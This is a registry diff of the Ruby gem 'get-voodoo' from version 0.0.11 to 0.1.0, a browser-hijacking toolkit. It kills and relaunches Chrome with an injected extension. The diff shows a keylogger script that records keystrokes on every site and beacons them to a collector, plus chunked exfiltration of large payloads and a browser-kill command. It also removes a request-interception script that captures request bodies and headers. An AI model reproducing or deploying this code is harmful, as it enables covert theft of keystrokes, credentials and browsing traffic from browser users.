get-voodoo 0.0.11 → 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 965c3f91b6855d9b381e18ced1bfee172e5273d3180d50ef7a2892a66adbd30d
4
- data.tar.gz: e20ea428ba96e9c5f82ab31a5bab21761c189cd451d05b31bbc38ec0f857b56d
3
+ metadata.gz: 6e8e2178d211d0179e93ab412fc8cace43a66123f0066dd7ce4718d239700ac9
4
+ data.tar.gz: 4dea98486dbe10e781423ce2296f298d3602cac6b4901ac04df22c52206909ab
5
5
  SHA512:
6
- metadata.gz: a8a34ddd9b063f44353195203f633f16e9fcdb872cbab1b52662b2e9582a9af5ba4ced78c708cafebd9408196a5dfd7034296b141acc11b13bdc9a05b27920b9
7
- data.tar.gz: 03c5e0884a62321e2053b93a3f8d606252bb127aded3748a997f33002d56070720e9a63a835ab96abbf2e70c1c99b8d0fb4550e11348c4ccd2cdc6921cfe4d2e
6
+ metadata.gz: 76dd0860f46f7922f23a9b714a68ec5f20971b77ec08e9233b0c774fcf47be8c2d1adbb359479e3f7173b712423d72bebfc8b361b0fccd7cf87c8839bc1a0a55
7
+ data.tar.gz: d61163401be6e9b06ef78cbbb1c26e195d55d7dff2bca5f67ae1565e2b19b0892caa69695b3fee368452b2df51f84e86e4c360ac348161d37372599e42f70e08
@@ -14,8 +14,9 @@ module VOODOO
14
14
  @process_name = process_name
15
15
  @collector_threads = []
16
16
 
17
- @extension.manifest[:permissions] = ['tabs', '*://*/*', 'webRequest']
18
- @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
17
+ @extension.manifest[:permissions] = ['tabs', 'storage']
18
+ matches = '*://*/*'
19
+ #@extension.add_content_script(matches, js: [File.join(__dir__, 'js/collector.js')])
19
20
  end
20
21
 
21
22
  def keylogger(matches: '*://*/*', max_events: nil)
@@ -25,39 +26,31 @@ module VOODOO
25
26
  ) do |event|
26
27
  yield event
27
28
  end
28
- end
29
-
30
- def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
31
- options = {
32
- matches: matches,
33
- url_include: url_include,
34
- body_include: body_include,
35
- header_exists: header_exists
36
- }
37
-
38
- add_script(options: options,
39
- background: true,
40
- max_events: max_events,
41
- file: File.join(__dir__, 'js/intercept.js')
42
- ) do |event|
43
- yield event
44
- end
45
- end
29
+ end
46
30
 
47
31
  def add_permissions(permissions)
48
32
  permissions = [permissions] unless permissions.is_a? Array
49
33
  @extension.manifest[:permissions] += permissions
50
34
  end
51
35
 
52
- def hijack(urls = [], flags: '')
36
+ def add_host_permissions(hosts)
37
+ hosts = [hosts] unless hosts.is_a? Array
38
+ @extension.manifest[:host_permissions] += hosts
39
+ end
40
+
41
+ def close_browser
53
42
  # kill the browser process twise, to bypass close warning
54
43
  `pkill -a -i "#{@process_name}"`
55
44
  `pkill -a -i "#{@process_name}"`
56
45
  sleep 0.2
46
+ end
47
+
48
+ def hijack(urls = [], flags: '')
49
+ close_browser()
57
50
 
58
51
  urls = [urls] unless urls.kind_of? Array
59
52
  urls = urls.uniq
60
-
53
+
61
54
  `open -b "#{@bundle}" --args #{flags} --load-extension="#{@extension.save}" #{urls.shift}`
62
55
 
63
56
  if urls.length > 0
@@ -92,7 +85,7 @@ module VOODOO
92
85
  self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
93
86
  end
94
87
 
95
- def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil)
88
+ def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil, communication: true)
96
89
  if matches != nil && background != false
97
90
  puts 'WARNING: matches is ignored when background is set to true.'
98
91
  end
@@ -107,8 +100,8 @@ module VOODOO
107
100
 
108
101
  event_count = 0
109
102
 
110
- if block_given?
111
- collector = Collector.new
103
+ if block_given? && communication == true
104
+ collector = Collector.new(close_browser: method(:close_browser))
112
105
  collector.on_json {|jsond|
113
106
  yield jsond
114
107
  if (max_events != nil)
@@ -149,24 +142,14 @@ module VOODOO
149
142
  content = content % options
150
143
 
151
144
  if background == true
152
- return @extension.add_background_script(content: content)
145
+ return @extension.add_service_worker(content: content)
153
146
  else
154
147
  if matches == nil
155
148
  matches = '*://*/*'
156
149
  end
157
-
158
150
  return @extension.add_content_script(matches, js: [content])
159
151
  end
160
152
  end
161
-
162
- protected
163
-
164
- def make_collector
165
- collector = Collector.new
166
- collector.on_json {|jsond| yield jsond }
167
- @collector_threads.push(collector.thread)
168
- return collector
169
- end
170
153
  end
171
154
 
172
155
  end
data/lib/voodoo/cli.rb CHANGED
@@ -6,7 +6,7 @@ require 'voodoo/browser'
6
6
 
7
7
  module VOODOO
8
8
 
9
- VERSION = 'v0.0.11'
9
+ VERSION = 'v0.1.0'
10
10
 
11
11
  class CLI < Thor
12
12
 
@@ -14,30 +14,6 @@ module VOODOO
14
14
  def version
15
15
  puts VERSION
16
16
  end
17
-
18
- option :url_include, :type => :string, :aliases => :u, :default => nil
19
- option :body_include, :type => :string, :aliases => :i, :default => nil
20
- option :header_exists, :type => :string, :aliases => :h, :default => nil
21
- option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
22
- option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
23
- option :urls, :type => :array, :aliases => :x, :default => []
24
- option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
25
- option :browser, :type => :string, :aliases => :b, :default => 'chrome'
26
- option :max_events, :type => :numeric, :default => nil
27
- desc 'intercept', 'Intercept browser requests'
28
- def intercept
29
- browser = get_browser options[:browser]
30
- output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
31
-
32
- browser.intercept(matches: options[:matches],
33
- url_include: options[:url_include],
34
- body_include: options[:body_include],
35
- max_events: options[:max_events]) do |event|
36
- output_handler.handle(event)
37
- end
38
-
39
- browser.hijack options[:urls]
40
- end
41
17
 
42
18
  option :urls, :type => :array, :aliases => :x, :default => []
43
19
  option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
@@ -56,7 +32,7 @@ module VOODOO
56
32
  file = nil
57
33
  content = nil
58
34
 
59
- if File.exists? path_or_js
35
+ if File.exist? path_or_js
60
36
  file = path_or_js
61
37
  else
62
38
  content = path_or_js
@@ -108,11 +84,15 @@ module VOODOO
108
84
  end
109
85
 
110
86
  browser_inst = template['browser'] || {}
111
- browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
87
+ browser = get_browser(options[:browser] || browser_inst['name'] || browser_inst['default'] || 'chrome')
112
88
 
113
89
  if template['permissions']
114
90
  browser.add_permissions template['permissions']
115
91
  end
92
+
93
+ if template['host_permissions']
94
+ browser.add_host_permissions template['host_permissions']
95
+ end
116
96
 
117
97
  output_format = options[:format]
118
98
  is_default = output_format == 'none'
@@ -126,11 +106,19 @@ module VOODOO
126
106
  template['scripts'].each do |script|
127
107
  file = File.expand_path(File.join(pwd, script['file'])) if script['file']
128
108
  content = script['content']
129
- matches = script['matches']
109
+ matches = script['matches'] || ['*://*/*']
130
110
  background = script['background'] || false
131
-
111
+ if background
112
+ matches = nil
113
+ end
114
+ communication = true
115
+
116
+ if script.keys.include? 'communication'
117
+ communication = script['communication']
118
+ end
119
+
132
120
  if output_handler.writable
133
- browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event|
121
+ browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background, communication: communication) do |event|
134
122
  output_handler.handle(event)
135
123
  end
136
124
  else
@@ -9,7 +9,9 @@ module VOODOO
9
9
  attr_reader :thread
10
10
  attr_reader :token
11
11
 
12
- def initialize(port = 0)
12
+ def initialize(port = 0, close_browser: nil)
13
+ @chunks = []
14
+ @close_browser = close_browser
13
15
  if port == 0
14
16
  tmp_server = TCPServer.open('127.0.0.1', 0)
15
17
  @port = tmp_server.addr[1]
@@ -50,6 +52,31 @@ module VOODOO
50
52
  socket.close
51
53
 
52
54
  jsonData = JSON.parse(post_body, {:symbolize_names => true})
55
+
56
+ if jsonData[:log]
57
+ puts jsonData[:log]
58
+ end
59
+
60
+ if jsonData[:chunk]
61
+ @chunks << jsonData[:payload][1]
62
+ if jsonData[:payload][0] == @chunks.length
63
+ payload = {
64
+ payload: @chunks.join('')
65
+ }
66
+ @chunks = []
67
+ yield payload
68
+ end
69
+ return
70
+ end
71
+
72
+ if jsonData[:kill] == true
73
+ if jsonData[:close_browser] && @close_browser != nil
74
+ @close_browser.call()
75
+ end
76
+ self.thread.kill
77
+ return
78
+ end
79
+
53
80
  yield jsonData
54
81
  rescue
55
82
  end
@@ -17,16 +17,17 @@ module VOODOO
17
17
  author: '~',
18
18
  description: '',
19
19
  version: '0.0.1',
20
- manifest_version: 2,
21
- background: {
22
- scripts: []
23
- },
20
+ manifest_version: 3,
24
21
  permissions: [],
25
- content_scripts: []
22
+ host_permissions: [],
23
+ content_scripts: [],
24
+ background: {
25
+ service_worker: nil
26
+ }
26
27
  }
27
28
  end
28
29
 
29
- def add_background_script(content: nil, file: nil)
30
+ def add_service_worker(content: nil, file: nil)
30
31
  if content == nil && file != nil
31
32
  content = File.read file
32
33
  end
@@ -34,7 +35,7 @@ module VOODOO
34
35
  raise StandardError.new(':content or :file argument are required')
35
36
  end
36
37
  path = add_file(content, with_extension: '.js')
37
- @manifest[:background][:scripts] << path
38
+ @manifest[:background][:service_worker] = path
38
39
  end
39
40
 
40
41
  def add_content_script(matches, js: [], css: [])
@@ -52,6 +53,10 @@ module VOODOO
52
53
 
53
54
  def save
54
55
  @manifest[:permissions] = @manifest[:permissions].uniq
56
+ service_worker = @manifest[:background][:service_worker]
57
+ if service_worker == nil || service_worker == ''
58
+ @manifest[:background].delete(:service_worker)
59
+ end
55
60
  manifest_path = File.join(@folder, 'manifest.json')
56
61
  File.write(manifest_path, JSON.generate(@manifest))
57
62
  return @folder
@@ -40,9 +40,10 @@
40
40
  });
41
41
 
42
42
  window.addEventListener("keydown", function (event) {
43
- if (lastElement !== event.path[0]) {
44
- lastElement = event.path[0];
45
- output += `\n[ELEMENT => ${describe(event.path[0])}]\n`
43
+ const path = event.composedPath();
44
+ if (lastElement !== path[0]) {
45
+ lastElement = path[0];
46
+ output += `\n[ELEMENT => ${describe(path[0])}]\n`;
46
47
  }
47
48
  if (event.key.length > 1) {
48
49
  output += `[${event.key}]`;
@@ -1,28 +1,68 @@
1
- if (!sessionStorage.tab_uuid) {
2
- sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
3
- }
1
+ let tab_uuid = Math.random().toString(16).substring(2);
4
2
 
5
3
  const VOODOO = {
6
4
  options: { collector_url: "%{collector_url}" },
7
- send(payload) {
8
- if (!VOODOO.options.collector_url) {
5
+ utils: {
6
+ sleep(ms) {
7
+ return new Promise(resolve => setTimeout(resolve, ms));
8
+ },
9
+ chunk_string(str, length) {
10
+ return str.match(new RegExp('.{1,' + length + '}', 'g'));
11
+ },
12
+ send(body) {
13
+ if (!VOODOO.options.collector_url) {
14
+ return;
15
+ }
16
+
17
+ body = JSON.stringify(body);
18
+ if (navigator && navigator.sendBeacon) {
19
+ navigator.sendBeacon(VOODOO.options.collector_url, body);
20
+ } else {
21
+ fetch(VOODOO.options.collector_url, {
22
+ method: "POST",
23
+ headers: {
24
+ "Content-Type": "application/json"
25
+ },
26
+ mode: "no-cors",
27
+ body
28
+ });
29
+ }
30
+ }
31
+ },
32
+ log(msg) {
33
+ VOODOO.utils.send({ log: msg.toString() });
34
+ return VOODOO;
35
+ },
36
+ kill(options = {}) {
37
+ VOODOO.utils.send({ ...options, kill: true });
38
+ return VOODOO;
39
+ },
40
+ async send(payload) {
41
+ let chunks = [];
42
+
43
+ if (typeof payload === "string" && payload.length > 10000) {
44
+ chunks = VOODOO.utils.chunk_string(payload, 10000);
45
+ }
46
+
47
+ if (chunks.length > 0) {
48
+ for (let i in chunks) {
49
+ VOODOO.utils.send({
50
+ chunk: i,
51
+ payload: [chunks.length, chunks[i]]
52
+ });
53
+ await VOODOO.utils.sleep(1);
54
+ }
9
55
  return;
10
56
  }
11
57
 
12
- const body = JSON.stringify({
58
+ VOODOO.utils.send({
13
59
  time: new Date().getTime(),
14
- tab_uuid: sessionStorage.tab_uuid,
15
- origin: window.location.origin,
60
+ tab_uuid: tab_uuid,
61
+ origin: location.origin,
16
62
  payload
17
63
  });
18
64
 
19
- if (window.location.href.indexOf("_generated_background_page.html") !== -1) {
20
- return navigator.sendBeacon(VOODOO.options.collector_url, body);
21
- }
22
-
23
- chrome.runtime.sendMessage({
24
- collector_url: VOODOO.options.collector_url, body
25
- });
65
+ return VOODOO;
26
66
  }
27
67
  };
28
68
 
data/lib/voodoo/output.rb CHANGED
@@ -35,14 +35,6 @@ module VOODOO
35
35
  case @command
36
36
  when 'keylogger'
37
37
  write event[:payload], with_print: true
38
- when 'intercept'
39
- req = event[:payload]
40
- write "#{req[:method]} #{req[:url]}"
41
- req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
42
-
43
- if req[:body]
44
- write "BODY: #{event[:payload][:body]}"
45
- end
46
38
  else
47
39
  write JSON.generate(event[:payload])
48
40
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: get-voodoo
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.11
4
+ version: 0.1.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Ron Masas
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2022-03-14 00:00:00.000000000 Z
11
+ date: 2024-12-23 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: thor
@@ -80,7 +80,6 @@ files:
80
80
  - lib/voodoo/collector.rb
81
81
  - lib/voodoo/extension.rb
82
82
  - lib/voodoo/js/collector.js
83
- - lib/voodoo/js/intercept.js
84
83
  - lib/voodoo/js/keylogger.js
85
84
  - lib/voodoo/js/voodoo.js
86
85
  - lib/voodoo/output.rb
@@ -1,90 +0,0 @@
1
- /**
2
- * VOODOO Intercept
3
- */
4
- (function () {
5
- let options = {
6
- body_include: "%{body_include}",
7
- url_include: "%{url_include}",
8
- collector_url: "%{collector_url}",
9
- header_exists: "%{header_exists}"
10
- };
11
-
12
- let matches = "%{matches}";
13
-
14
- if (options.header_exists) {
15
- options.header_exists = options.header_exists.toLowerCase();
16
- }
17
-
18
- if (!Array.isArray(matches)) {
19
- matches = [matches];
20
- }
21
-
22
- function parseBody(body) {
23
- if (body.formData) {
24
- return JSON.stringify(body.formData);
25
- }
26
-
27
- try {
28
- return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
29
- } catch {
30
- return "";
31
- }
32
- }
33
-
34
- const requests = new Map();
35
-
36
- chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
37
- const request = requests.get(e.requestId);
38
-
39
- if (!request) {
40
- return;
41
- }
42
-
43
- requests.delete(e.requestId);
44
- request.headers = e.requestHeaders;
45
-
46
- if (options.header_exists) {
47
- let found = false;
48
- for (let header of request.headers) {
49
- if (header.name.toLowerCase() === options.header_exists) {
50
- found = true;
51
- break;
52
- }
53
- }
54
- if (!found) {
55
- return;
56
- }
57
- }
58
-
59
- VOODOO.send(request);
60
- }, { urls: matches }, ['requestHeaders', 'extraHeaders'])
61
-
62
- chrome.webRequest.onBeforeRequest.addListener(
63
- function (request) {
64
- if (request.url.startsWith(options.collector_url)) {
65
- return { cancel: false };
66
- }
67
-
68
- if (options.url_include && request.url.indexOf(options.url_include) === -1) {
69
- return { cancel: false };
70
- }
71
-
72
- if (options.body_include && !request.requestBody) {
73
- return { cancel: false };
74
- }
75
-
76
- if (request.requestBody) {
77
- request.body = parseBody(request.requestBody);
78
- delete request.requestBody;
79
- if (options.body_include && request.body.indexOf(options.body_include) === -1) {
80
- return { cancel: false };
81
- }
82
- }
83
-
84
- requests.set(request.requestId, request);
85
- return { cancel: false };
86
- },
87
- { urls: matches },
88
- ['requestBody']
89
- );
90
- })();